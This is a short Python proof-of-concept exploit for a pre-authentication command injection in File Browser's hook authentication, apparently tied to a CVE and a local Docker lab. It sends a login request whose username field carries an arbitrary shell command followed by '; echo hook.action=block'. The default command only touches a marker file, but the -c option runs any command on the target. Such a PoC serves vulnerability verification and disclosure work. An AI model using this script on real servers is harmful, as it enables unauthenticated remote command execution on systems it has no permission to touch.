#!/usr/bin/env python3 import argparse import json import sys import urllib.error import urllib.request def parse_args(): parser = argparse.ArgumentParser( description="PoC for File Browser Hook Authentication pre-auth command injection" ) parser.add_argument( "-t", "--target", default="http://localhost:8080", help="Target URL (default: http://localhost:8080)", ) parser.add_argument( "-c", "--command", default="touch /tmp/fb_hook_auth_pwned", help="Command to execute inside the File Browser container", ) parser.add_argument( "-p", "--password", default="anything", help="Password value to include in the login request", ) return parser.parse_args() def main(): args = parse_args() base_url = args.target.rstrip("/") login_url = f"{base_url}/api/login" payload_username = f"{args.command}; echo hook.action=block" body = { "username": payload_username, "password": args.password, } print(f"[*] Target: {login_url}") print(f"[*] Injected username: {payload_username}") request = urllib.request.Request( login_url, data=json.dumps(body).encode(), headers={"Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(request, timeout=10) as response: status = response.status except urllib.error.HTTPError as exc: status = exc.code except urllib.error.URLError as exc: print(f"[-] Request failed: {exc}", file=sys.stderr) return 1 print(f"[*] HTTP status: {status}") if status in (401, 403): print("[+] Authentication failed as expected, after hook command execution.") elif status == 200: print("[+] Login returned 200. The command still executed before the response.") else: print("[!] Unexpected response; verify the container logs and hook configuration.") print("[*] Verify the side effect of the injected command inside the container.") if args.command.startswith("touch "): marker = args.command.split(" ", 1)[1].strip() print("[*] Suggested verification:") print(f" docker exec -it cve-2026-54088-hook-auth-vuln ls -l {marker}") return 0 if __name__ == "__main__": raise SystemExit(main())